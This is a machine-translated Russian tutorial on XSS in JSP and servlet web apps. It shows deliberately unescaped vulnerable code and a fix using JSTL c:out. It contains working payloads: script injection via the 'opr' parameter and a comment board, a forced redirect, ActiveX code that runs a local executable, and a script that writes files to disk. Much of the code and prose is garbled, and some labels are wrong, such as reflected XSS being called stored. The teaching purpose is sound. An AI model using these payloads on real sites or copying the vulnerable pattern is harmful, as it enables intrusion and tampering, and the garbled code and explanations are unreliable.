Предисловие
Всем привет, хороший человек, я, я хороший человек, я -0nise. На основных платформах отчетности об уязвимости мы часто видим уязвимости XSS. Итак, вопрос в том, почему происходит этот вид уязвимости? Как эта уязвимость должна быть исправлена?
текст
1.xss? XSS? Что, черт возьми, XSS?
XSS также называется сценариями Cross Site. Я не скажу ему, что изначально его называли CSS, но чтобы не путать с каскадными листами в стиле, которые мы используем. CSS (атака сценариев поперечного сайта), CSS (лист стиля каскадного стиля) глупый и не может сказать разницу. Так что это называется XSS.
2. Каковы опасности XSS?
Эксперимент 1:
0x00 Construct Code
<%@ page language = "java" import = "java.util.*" pageencoding = "utf-8"%> <%string path = request.getContextPath (); string basePath = request.getScheme ()+": //"+request.getServername ()+":"+request.getSerperport () phate+"/";%> <t) <). «-// W3C // DTD HTML 4.01 Transitional // en"> <html> <Head> <base href = "<%= basepath%>"> <Title> my jsp 'index.jsp' Starting Page </title> <meta http-equiv = "pragma" = "no-cachach"> <meta htttp-equiv = "pragma" = "no-cacache"> <meta htttp equiv = "contrytr =" quache equiv = "quache equiv =" contr content = "no-cache"> <meta http-equiv = "expires" content = "0"> <meta http-equiv = "ключевые слова" content = "Keyword1, ключевое слово2, ключевое слово3"> <meta http-equiv = "auto" content = "Это моя страница"> </head> <body> <div style = "margin: 0 auto". request.setcharacterencoding ("utf-8"); // Принять пользовательское значение string string tmp = request.getParameter ("OPR"); // входящее значение по умолчанию пустое if (tmp == null) {out.print ("111"); } else {// transcoding string opr = new String (tmp.getbytes ("iso-8859-1"), "UTF-8"); Out.print (OPR); } %> Я довольствуюсь </div> </body> </html>0x01 макет среды
0x02 Уязвимость
Мы посещаем: http: // localhost: 8080/xss/index.jsp? Opr = i%e6%98%a5%e7%a7%8b
Затем посетите: http: // localhost: 8080/xss/index.jsp? Opr = 0nise
Наконец мы обнаружили «великий закон»:
Распечатайте любую страницу, параметр OPR равен. (Это кажется чепухой)
Давайте загрузим картинку и посмотрим
Посещение: http: // localhost: 8080/xss/index.jsp? Opr =%3cimg%20src =%221.png%22%3e%3c/img%3e
Поскольку все изображения могут быть загружены, загружаются ли наши файлы JS?
Посещать: http: // localhost: 8080/xss/index.jsp? opr =%3cscript%3eaLert (/i%e6%98%a5%e7% A7%8B%E7%A4%BE%E5%8C%BA%E6%AC%A2%E8%BF%8E%E5%A4%A7%E5%AE%B6/)%3C/SCRIPT%3E
JS? JS? Так возможно ли изменить адрес после прыжка?
Посетите: http: // localhost: 8080/xss/index.jsp? Opr =%3CScript%3elocation.href =%27http: //bbs.icunqiu.com%27%3C/Script%3E
Поскольку XSS может загрузить JS, мы открываем некоторые местные вещи через JS?
Поместите файл md5.exe заранее
Посетите: http: // localhost: 8080/xss/index.jsp? Opr = <script> var objshell = new ActiveXobject ("wscript.shell"); objshell.run ("g: /work/xss/webroot/md5.exe"); </script>
Поскольку даже локальные файлы могут быть открыты, удаленный файл Trojan? Есть подделка компьютера? Это медленно квадрант. Я не сказал этого. Полем Полем Полем Полем
Все файлы могут быть открыты, так что насчет написания файлов?
Посещать: http: // localhost: 8080/xss/index.jsp? OPR =%3CScript%3EVAR%20FSO, TF; FSO%20 =%20NEW%20ActivexObject (%22Scripting.filesyStemobject%22); tf%20 =%20fso.createTxtlextxtlextxtlex (%22deSt.treetSt.tretStxtxTxTxTxTxTxTxTxTxTxTxTxTxTxTxTxTxTxT. TF.WriteLine (%22i%E6%98%A5%E7%A7%8B%E7%A4%BE%E5%8C%BA%E6%AC%A2%E8%BF%8E E6%82%A8%22); TF.Close (); оповещение (%22%E6%96%87%E4%BB%B6%E5%86%99%E5%85%A5%E6%88%90%E5%8A%9F%BC%81%22);%3C/Script%3E
Через приведенные выше эксперименты мы можем увидеть операцию назначения параметров OPR. Если параметр OPR не имеет значения, его нельзя выполнить. Атакуемый человек должен получить доступ к злоумышленнику, разработанному заранее, перед атакой. Этот метод атаки xss называется: хранение xss
Если вы хотите увидеть более мощный эксперимент, пожалуйста, продолжайте читать.
Эксперимент 2:
Предисловие:
Большинство веб -сайтов будут иметь дело с данными. Итак, как выглядят эти веб -сайты, когда появляются уязвимости XSS?
0x00 Construct Code
Часть базы данных
Baserao.java
Импорт java.sql.connection; импорт java.sql.drivermanager; import java.sql.preparedStatement; import java.sql.resultset; import java.sql.sqlexception; import java.sql.statement; public classao base {// open connection; getConn () null; try {class.forname ("com.microsoft.sqlserver.jdbc.sqlserverdriver"); conn = drivermanager.getConnection ("jdbc: sqlserver: // localhost: 1433; databaseName = sqltmp", "sa", "sa"); } catch (classnotfoundexception e) {e.printstacktrace (); } catch (sqlexception e) {e.printstacktrace (); } return conn; } // Метод для закрытия ссылки public void closeall (connection conn, stat stat, resultset rs) {try {if (rs! = Null) rs.close (); if (stat! = null) stat.close (); if (conn! = null) conn.close (); } catch (sqlexception e) {e.printstacktrace (); }} // перегружать метод Close public void closeall (connection conn, подготовленное Statement PStat, ResultSet RS) {try {if (rs! = Null) rs.close (); if (pstat! = null) pstat.close (); if (conn! = null) conn.close (); } catch (sqlexception e) {e.printstacktrace (); }} // продолжать перегружать public void closeall (connection conn, подготовленное значение pStat) {try {if (pStat! = Null) pstat.close (); if (conn! = null) conn.close (); } catch (sqlexception e) {e.printstacktrace (); }} // Общедоступный метод для добавления, удаления и изменения публичного обновления int (String SQL, Object [] PRAM) {PrecateStatement pStat = null; Соединение conn = null; int a = 0; try {conn = getConn (); pstat = conn.preparestatement (sql); // Передача через набор параметров и добавить соответствие параметров в наборе с оператором SQL для (int i = 1; i <= pram.length; i ++) {pstat.setObject (i, pram [i-1]); } // метод вызова a = pstat.executeupdate (); } catch (sqlexception e) {e.printstacktrace (); } наконец {roweall (conn, pstat); } вернуть a; }}Комментарий
Импорт java.sql.*; import java.util.*; import entity.*; public class commentdao extends foundao { /***Получить все сообщения** /public <momp> getComment () {// struction struction sql = "select cid, coname, ccontext from commints"; List <momp> list = new ArrayList <momp> (); // Соединение базы данных соединение Connect = null; // объект выполнения SQL подготовка PSTMT = null; // выполнение базы данных возвращаемое значение ResultSet rs = null; try {// Создать ссылку на базу данных conn = this.getConn (); // Создать объект выполнения SQL PSTMT = conn.PreparEStatement (SQL); // Выполнить оператор SQL возвращаемое значение rs = pstmt.executequery (); // Читать while (rs.next ()) {comment = new comm (); Comment.SetCid (Rs.getInt ("cid")); Comment.SetCname (rs.getString ("cname")); Comment.SetCcontext (Rs.GetString ("cContext")); list.add (comment); }} catch (Exception e) {e.printstackTrace (); } наконец {// закройте это. } return List; } public int addComment (Comm Comment) {string sql = "Вставить в комментарии значения (?,?)"; // количество затронутых строк int result = 0; // Соединение базы данных соединение Connect = null; // объект выполнения SQL подготовка PSTMT = null; try {// Создать ссылку на базу данных conn = this.getConn (); // Создать объект выполнения SQL PSTMT = conn.PreparEStatement (SQL); // Установить параметры pStmt.setString (1, comment.getCname ()); pstmt.setString (2, comment.getCcontext ()); // Выполнить оператор SQL result = pstmt.executeUpdate (); } catch (Exception e) {e.printstackTrace (); } наконец {this.CloSeall (conn, pstmt); } return Result; }}Комментарии
import java.io.*;import javax.servlet.*;import javax.servlet.http.*;import entity.*;public class CommentServlvet extends HttpServlet { /** * doGet() */ public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { request.setcharacterencoding ("UTF-8"); response.setContentType ("text/html; charset = utf-8"); Printwriter Out = response.getWriter (); String opr = request.getParameter ("OPR"); CommentDao CommentDao = новый комментарийдао (); // Получить, является ли параметр пустым if (opr == null || opr.equals ("all")) {request.setattribute ("all", commentdao.getcomment ()); // forward request.getRequestDispatcher ("comment.jsp"). Forward (запрос, ответ); } else if (opr.equals ("add")) {Комментарий Comment = new Comm (); Comment.SetCname (request.getParameter ("Uname")); Comment.SetCcontext (request.getParameter ("context")); if (commentdao.addcomment (comment)> 0) {out.print ("<script> alert ('оставить сообщение успешно'); location.href = 'commentservelvet? Opr = all'; </script>"); } else {out.print ("<cript> alert ('waill’); location.href =' commentservelvet? Opr = all '; </script> "); }} else {request.setattribute ("all", commentdao.getComment ()); // forward request.getRequestDispatcher ("comment.jsp"). Forward (запрос, ответ); } out.flush (); out.close (); } / ** * dopost () * / public void dopost (httpservlectrequest, httpservletresponse response) throws servletexception, ioexception {Doget (запрос, ответ); }}Comment.jsp
<%@ page language = "java" import = "java.util.*, entity.*" pageencoding = "UTF-8"%> <%String Path = request.getContextPath (); String basePath = request.getScheme ()+": //"+request.getServerName ()+":"+request.getServerport ()+pather> "; HTML Public "-// W3C // DTD HTML 4.01 Transitional // en"> <html> <Head> <base href = "<%= basepath%>"> <Title> my jsp 'comment.jsp' nate-cache </title> <meta http-equiv = "pragma". http-equiv="cache-control" content="no-cache"> <meta http-equiv="expires" content="0"> <meta http-equiv="keywords" content="keyword1,keyword2,keyword3"> <meta http-equiv="description" content="This is my page"> </head> <body> <% request.setcharacterencoding ("UTF-8"); if (request.getAttribute ("all") == null) {request.getRequestDispatcher ("Комментарии opr = all"). } %> <table> < % list <entity.comm> list = (list <entity.comm>) request.getattribute ("all"); для (int i = 0; i <list.size (); i ++) { %> <tr> <td> < %= list.get (i) .getCname () %> </td> <td> < %= list.get (i) .getCcontext () %> </td> </tr> < %} %> </tablece actionser = "opr opr oprtet? <TextARea Rows = "5" cols = "30" name = "context"> </textarea> никнам: <input type = "text" name = "uname"/> <input type = "Vade =" prope "/> </form> </body> </html> 0x01 Эксперимент по уязвимости
root@1~#
Мы оставляем сообщение на доске сообщений:
<script> var objShell = new ActiveXObject("wscript.shell");objShell.Run("G:/work/XSS/WebRoot/Md5.exe");</script>
Затем посетите: http: // localhost: 8080/xss/comment.jsp
Таким образом, пока вы получаете доступ к этой странице, программное обеспечение автоматически откроется, а будет создан удаленный файл? Понимать медленно.
root@2~#
Мы оставляем сообщение на доске сообщений:
Скопируйте код следующим образом: <Script> var fso, tf; fso = new ActivexObject ("scripting.filesyStemobject"); TF = fso.createTextFile ("d: //test.txt", true); tf.writeline ("i chunqiu сообщество приветствует вас"); tf.close (); "alterse (" i chunqiu writo "); tf.close (); Успешно! »); </Script>
Затем посетите: http: // localhost: 8080/xss/comment.jsp
Написание файлов было успешным.
root@3~#
Содержание сообщения:
[code] <script> location.href = 'http: //bbs.icunqiu.com' </script> [code]
Посетите страницу: http: // localhost: 8080/xss/comment.jsp
Посещение страницы сообщения автоматически перейдет на сайт, специализирующийся на атакунии. Это легендарный угон?
3.xss защитное решение
Как говорится, где бы ни была атака, есть защита. Как и XSS, есть методы атаки и защитные решения.
EL Expression + JSTL библиотека тегов
EL (язык выражения): [размер = 12,0000PT] Чтобы упростить написание JSP. Язык выражения вдохновлен языком выражения Ecmascript и XPath. Он предоставляет методы для упрощения выражений в JSP, чтобы упростить код JSP.
JSTL (JSP Standard Tag Library): библиотека тегов с открытым исходным кодом JSP.
Эксперимент 1 Защитный код:
<%@ page language = "java" import = "java.util.*" pageencoding = "utf-8"%> <%@ taglib uri = "http://java.sun.com/jsp/jstl/core" prefix = "c"%> <%string path = request.getcontextpath (); request.getScheme ()+": //"+request.getServername ()+":"+request.getServerport ()+path+"/";%> <! Doctype html public "-// w3c // dtd html 4.01 transitional // en"> <html> <Head> <base html html. 'index.jsp' Начальная страница </title> <meta http-equiv = "pragma" content = "no-cache"> <meta http-equiv = "cache-control" content = "no-cache"> <meta http-equiv = "experse" content = "0"> <meta http-equiv = "keywords =" keylords 3, "0"> <meta http-equiv = "equiv =" keyword1, "0". <meta http-equiv = "Описание" content = "Это моя страница"> </head> <body> <div style = "margin: 0 auto"> <% request.setcharacterencoding ("utf-8"); String tmp = request.getParameter ("OPR"); // является ли входящее значение пустым if (tmp == null) {out.print ("111"); } else {// transcoding string opr = new String (tmp.getbytes ("iso-8859-1"), "UTF-8"); request.setattribute ("name", opr); %> <C: out value = "$ {requestScope.name}"> </c: out> < %} %> Я довольствоваюсь </div> </body> </html>Эксперимент 2 Кодекс защиты:
<%@ page language = "java" import = "java.util.*, entity.*" pageencoding = "utf-8"%> <%@ taglib uri = "http://java.sun.com/jsp/jstl/core" prefix = "c"%> <%string = recement.getcontextpath (); request.getScheme ()+": //"+request.getServername ()+":"+request.getServerport ()+path+"/";%>
<! Doctype html public "-// w3c // dtd html 4.01 transitional // en"> <html> <head> <base href = "<%= basepath%>"> <Title> my jsp 'comment.jsp' nate-contage </title> <meta http-equiv = "pragma" comment.jsp 'no-conte "no-conte" no-content "meta equiv =". http-equiv="cache-control" content="no-cache"> <meta http-equiv="expires" content="0"> <meta http-equiv="keywords" content="keyword1,keyword2,keyword3"> <meta http-equiv="description" content="This is my page"> </head> <body> <% request.setcharacterencoding ("UTF-8"); if (request.getAttribute ("all") == null) {request.getRequestDispatcher ("Комментарии opr = all"). } %> <table> <!-Решение защиты xss-> <C: foreach var = "x" items = "$ {requestScope.all}"> <tr> <td> <c: out value = "$ {x.getCname ()}"> </c: out> </td> <td> <c: out value = "$ {x.getContext () </td> <td> <c: out value =" $. </td> </td> </tr> </c: foreach> </table> <form action = "commentservlvet? Opr = add" method = "> <textArea rows =" 5 "cols =" 30 "name =" context "> </textArea> alckname: <input =" text "=" uname "/> <input type =" vally valie: </inpute = "/name =" uname "/> </> </>" valice = "/"/"/"/"/"/"/"/". </body> </html> Заключение
Технология не черно -белая, а специализация очень хорошая.